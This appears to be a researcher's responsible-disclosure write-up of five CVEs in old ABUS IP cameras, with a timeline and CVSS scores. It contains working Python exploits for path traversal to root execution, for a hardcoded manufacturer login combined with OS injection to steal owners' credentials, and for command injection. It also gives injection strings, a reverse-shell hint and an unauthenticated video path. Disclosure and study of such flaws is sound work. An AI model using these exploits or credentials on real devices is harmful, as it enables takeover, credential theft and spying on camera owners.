Background

It was a chill friday evening when Ilias, Alexander and myself sat around our local hackspace Chaosdorf, ate some pizza and played around with the ABUS security camera we were able to get in our hands shortly before. As the company has quite some reputation in Germany, we assumed that there wouldn’t be much to find security-wise, also because this camera was one of the most expensive ones in the consumer market. Little did we know that we’d get our first CVEs and security fame that evening as well…

Objective

August Bremicker und Söhne KG, commonly known as ABUS, is a German manufacturer of preventative security technology based in Wetter, North Rhine-Westphalia.

While ABUS is mostly focusing on physical security technology like door locks and chains, security cameras are also an important branch of their portfolio. Those cameras are bought from a white-label producer, branded and sold. In this case, the affected cameras were produced by taiwanese producer Grain Media with the GM812X chipset.

This means that the discovered vulnerabilities were not necessarily ABUS’ fault, as they didn’t develop the firmware. They could’ve conducted penetration tests though.

Affected by the vulnerabilities are the model numbers / lines:

  • Compact Cameras
    • TVIP10000
    • TVIP10001
    • TVIP10005
    • TVIP10005A
    • TVIP10005B
    • TVIP10050
    • TVIP10051
    • TVIP10055A
    • TVIP10055B
    • TVIP10500
    • TVIP10550
    • TVIP11000
    • TVIP11050
    • TVIP11500
    • TVIP11501
    • TVIP11502
    • TVIP11550
    • TVIP11551
    • TVIP11552
  • Cameras with movable head
    • TVIP20000
    • TVIP20050
    • TVIP20500
    • TVIP20550
    • TVIP21000
    • TVIP21050
    • TVIP21500
    • TVIP21501
    • TVIP21502
    • TVIP21550
    • TVIP21551
    • TVIP21552
    • TVIP22500
  • Dome cameras
    • TVIP31000
    • TVIP31001
    • TVIP31050
    • TVIP31500
    • TVIP31501
    • TVIP31550
    • TVIP31551
    • TVIP32500
  • Box cameras
    • TVIP51500
    • TVIP51550
  • Outside dome cameras
    • TVIP71500
    • TVIP71501
    • TVIP71550
    • TVIP71551
    • TVIP72500

Those cameras were sold from 2010 to 2014.

Timeline

  • XX-09-2018: Discovery of vulnerabilities in lab environment
  • XX-09-2018: Communication with CCC e.V. for disclosure handling
  • 26-11-2018: Initial contact with ABUS, no response
  • 18-02-2019: Start of responsible disclosure process with ABUS
  • 03-05-2019: Public Announcement by ABUS for a replacement program
  • 07-05-2019: Publication of CCC blogpost

This disclosure was picked up by German press shortly after: Heise, Golem, SPIEGEL Online

Vulnerabilities

CVE-2018-16739

Authenticated read and write access through directory traversal with command execution

Description

Through directory traversal it is possible to utilize the file browser of the web frontend, which seems to be only for displaying file server content, for arbitrary read, write and execution. The browser can be used to read and write files outside the file server directory and to list the contents of any directory. This is done with root privileges.

The affected endpoints are:

  • /cgi-bin/admin/fileread?READ.filePath=<Path> to read the specified file
  • /cgi-bin/admin/filewrite?SAVE.filePath=<Path> to write to the specified file
  • /cgi-bin/admin/sdstate?action=filelistnas&directory=<Path> to list a directory

Exploitation

For arbitrary read and write, the exploitation of the endpoints is as simple as it gets, by prefixing the desired path with ../../../../ or by specifying an absolute path.

A trick is required to move from arbitrary write to code execution: if a bash script is placed in the CGI scripts folder of the web server and this script is called via a web browser, the shell script is executed with root privileges. This is also the trick applied on the POC exploit:

#!/usr/bin/env python3
import argparse
import requests
import urllib
import random
import huepy


def main():
    parser = argparse.ArgumentParser(description="exploit-16739")
    parser.add_argument('url', type=str, help='target url including port, eg http://127.0.0.1:8080')
    parser.add_argument("cmd", type=str, help="the cmd to exec, e.g. 'ls /'")
    args = parser.parse_args()

    referenceID = random.randint(1000, 9999)

    print(huepy.cyan("[~] Exploit for CVE-2018-16739"))
    print(huepy.cyan("    Your reference number is %i." % (referenceID)))

    prepareShell(args.url, referenceID, args.cmd)
    execCmd(args.url, referenceID)
    readCmd(args.url, referenceID)
    mrproper(args.url, referenceID)


def prepareShell(target, refID, cmd):
    writeCmd(target, refID, "#!/bin/sh\n%s 1>/tmp/%i.log 2>&1" % (cmd, refID))


def writeCmd(target, refID, cmd):
    percentCmd = urllib.parse.quote(cmd)
    print(huepy.yellow("[~] writing /opt/cgi/admin/%i.sh" % (refID)))
    r = requests.get("%s/cgi-bin/admin/filewrite?SAVE.filePath=/opt/cgi/admin/%i.sh&SAVE.fileData=%s" % (target, refID, percentCmd), verify=False)


def execCmd(target, refID):
    print(huepy.yellow("[~] Executing reference number %i..." % (refID)))
    r = requests.get("%s/cgi-bin/admin/%i.sh" % (target, refID), verify=False)


def readCmd(target, refID):
    r = requests.get("%s/cgi-bin/admin/fileread?READ.filePath=/tmp/%i.log" % (target, refID), verify=False)
    print(huepy.green("[+] Command returned on %i:\n" % (refID)) +  r.text)


def mrproper(target, refID):
    print(huepy.green("[+] mrproper-ing your waste..."))
    writeCmd(target, refID, "#!/bin/sh\nrm /tmp/%i.log /opt/cgi/admin/%i.sh" % (refID, refID))
    execCmd(target, refID)


if __name__ == '__main__':
    main()

Note that, as the OS injection itself is blind, log output of your command(s) needs to be written into a log file and read again after the command finishes. This means that if your command runs for an hour, you’ll only be able to get the output after an hour.

Evaluation

CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0

CVE-2018-17558

Hardcoded administrator account with code execution as root

Description

The web server is protected against unauthorized access by a user name and password, which can be changed by the person who purchased the camera. This is admin:12345 or admin:admin by default, dependent on software and model. This is dangerous in itself, since an attacker can exploit the fact that the owner of the camera usually does not change this password.

Regardless of the initial values for the admin user account, the web server is also configured to accept the user name manufacture with the password erutcafunam for the /cgi-bin/mft directory in the web server’s root directory. These values cannot be deleted by the owner of the camera, nor can they be changed. This means that all cameras running with the affected software versions can be accessed using this user name and password.

There are several endpoints in the /cgi-bin/mft directory. These endpoints are responsible for changing the WiFi settings of the device. These can be attacked at various points through an OS injection to execute code with root privileges:

Screenshot of X86 assembly

Evaluation

If the manufacture user account is combined with the input attack, it is possible to execute arbitrary code as root on the camera from outside, even if the owner of the camera has chosen secure passwords. These are simply bypassed.

CVSS v2: AV:N/AC:L/Au:N/C:C/I:C/A:C = Base Score 10.0

Exploitation

Obviously, using the hard-coded credentials for your purposes is as easy as it gets.

Bringing together the puzzle pieces “hardcoded credentials” and “OS injection” gives you endless possibilities; one of them is to leak out the (user-managed) credentials:

#!/usr/bin/env python3
import argparse
import requests
import urllib
import huepy
import base64


def main():
    parser = argparse.ArgumentParser(description="exploit-17558")
    parser.add_argument('ip', type=str, help='target IP, eg 127.0.0.1')
    args = parser.parse_args()

    print(huepy.cyan("[~] Exploit for CVE-2018-17558"))

    copyCreds(args.ip) and showCreds(args.ip) and delCreds(args.ip)


def copyCreds(target):
    print(huepy.yellow("[~] Copying creds"))
    r = requests.get("http://manufacture:erutcafunam@%s/cgi-bin/mft/wireless_mft?ap=</invalid;cp%%20/var/www/secret.passwd%%20/web/html/leakedcredentials" % (target), verify=False)

    if r.status_code == 200:
        print(huepy.green("[+] SUCCESSFUL!"))
        return True
    else:
        print(huepy.red("[-] Failed. Server is not vulnerable..."))
        return False


def showCreds(target):
    print(huepy.yellow("[~] Here are the credentials of %s" % (target)))
    r = requests.get("http://%s/leakedcredentials" % (target), verify=False)

    if r.status_code == 200:
        print(huepy.green("[+] SUCCESSFUL! Here you go:"))
        print("Rights\t\t| Password\t|")
        for line in r.text.split("\n"):
            if "0000" in line:
                parts = line.split(" ")
                print("%s\t| %s\t|" % (parts[0], base64.b64decode(parts[1]).decode("utf-8")))
        return True
    else:
        print(huepy.red("[-] Failed. Server is not vulnerable..."))
        return False


def delCreds(target):
    print(huepy.yellow("[~] Cleaning up"))
    r = requests.get("http://manufacture:erutcafunam@%s/cgi-bin/mft/wireless_mft?ap=</invalid;rm%%20/web/html/leakedcredentials" % (target), verify=False)

    if r.status_code == 200:
        print(huepy.green("[+] Successful. Thanks for your cooperation."))
        return True
    else:
        print(huepy.red("[-] Failed. Server is not vulnerable..."))
        return False


if __name__ == '__main__':
    main()

CVE-2018-17879

Remote code execution through OS injection

Description

The /cgi-bin/ directory contains several scripts that are used to control and configure the camera. Among other tasks, these scripts are responsible for changes to the camera’s image settings (contrast, color values, brightness) or the network settings of the device. The attack is based on the fact that some of the scripts do not check input that comes from the user and are passed directly to the system() command. If control characters are used to spoof the user input, arbitrary C ode can be executed. For example, such an input could look like this: $(shutdown -h now). This would shut down the camera from the outside. An attacker could use this to completely take over the camera, attack the internal network (private or corporate), launch further attacks from the camera, as well as change, pause or delete the camera’s image, and completely disable the camera.

Exploitation

As simple as wrapping a reverse shell code in $(...).

See this exploit, where the injection happens in the UPnP HTTP Port field:

#!/usr/bin/env python3
import argparse
import requests
import urllib
import huepy


def main():
    parser = argparse.ArgumentParser(description="exploit-17879")
    parser.add_argument('url', type=str, help='target url including port, eg http://127.0.0.1:8080')
    parser.add_argument("cmd", type=str, help="the cmd to exec, e.g. 'ls /'")
    args = parser.parse_args()

    print(huepy.cyan("[~] Exploit for CVE-2018-17879"))

    execCmd(args.url, args.cmd)


def execCmd(target, command):
    print(huepy.green("[~] Executing command '%s'..." % (command)))
    percentCommand = urllib.parse.quote(command)
    r = requests.get("%s/cgi-bin/admin/param?action=update&General.Network.UPnP.NATTraversal.HTTPPort=1%%3e/dev/null%%202%%3e/dev/null;%s;false" % (target, percentCommand), verify=False)
    print(r.text[:-3])
    print(huepy.yellow("[~] Cleaning up..."))
    r = requests.get("%s/cgi-bin/admin/param?action=update&General.Network.UPnP.NATTraversal.HTTPPort=1337" % (target), verify=False)


if __name__ == '__main__':
    main()

Evaluation

CVSS v2: AV:N/AC:L/Au:S/C:C/I:C/A:C = Base Score 9.0

CVE-2018-17878

Remote code execution through buffer overflows

Description

Almost all of the CGI scripts used by the web server take user input to know what to do. The function that is internally responsible for copying this input is sprintf(). This function is vulnerable to a buffer overflow. This allows an attacker, by typing in a specially crafted string, to write over the memory allocated to it, and thus gain complete control of the program and achieve code execution as root.

Exploitation

Depending on the binary, buffer size and stack; as no security protections like stack canaries or NX / Data Execution Prevention are in place, this could be easily done via either Shellcode or ROP.

Evaluation

CVSS v2: AV:N/AC:H/Au:S/C:C/I:C/A:C = Base Score 7.1

CVE-2018-17559

Access control bypass

Description

The web server gets the camera feed from the CGI script /opt/cgi/jpg/image. This script delivers the current frame every second. This script is symlinked to many places in the file system. Among others to /cgi-bin/admin/image, /cgi-bin/admin/image.jpg, /tmp/video.mp4, /cgi-bin/operator/image.jpg.

Most of these endpoints are password protected in the configuration file of the webserver, boa.conf. However, on lines 314-321 it can be seen that after the script and the symlinks to the script are password protected, they are transferred somewhere else again, and these new endpoints are not password protected:

# boa.conf, L314-321
Auth /cgi-bin/jpg /var/www/secret.passwd

# [...]

Transfer /video.mp4 /tmp/video.mp4
Transfer /video.3gp /tmp/video.mp4
Transfer /video.mjpg /tmp/video.mp4
Transfer /video.h264 /tmp/video.mp4

This results in an attacker accessing /video.mp4 or /video.mjpg being able to view the video feed without the need to authenticate.

Exploitation

Access /video.mp4 or /video.mjpg to see the video feed without authentication.

Evaluation

As the video stream is the most important output of a security camera, being able to circumvent the protection of the video stream is critical, especially taking into consideration what direction and perspective the camera is facing.

CVSS v2: AV:N/AC:L/Au:N/C:C/I:N/A:N = Base Score 7.8

Overall Evaluation & Conclusion

An attacker can completely take over the camera, attack the internal network (private or company network), launch further attacks from the camera, change or delete the image of the camera, or completely disable the camera, as well as put the camera completely out of operation. This could be particularly problematic in security-critical scenarios, e.g., criminal acts that are recorded and documented by the camera, as evidence could be lost.

While the replacement program may give end users new cameras (which are hopefully not prone to the security issues described here, but I didn’t test that), the risk of having a always-on security device with weak hardware and network access persists. Please put such devices in a separate network or VLAN, protect it with firewall rules, and avoid credential reusage. Reviewing if you really need cameras connected to the internet could be another important step in becoming more secure.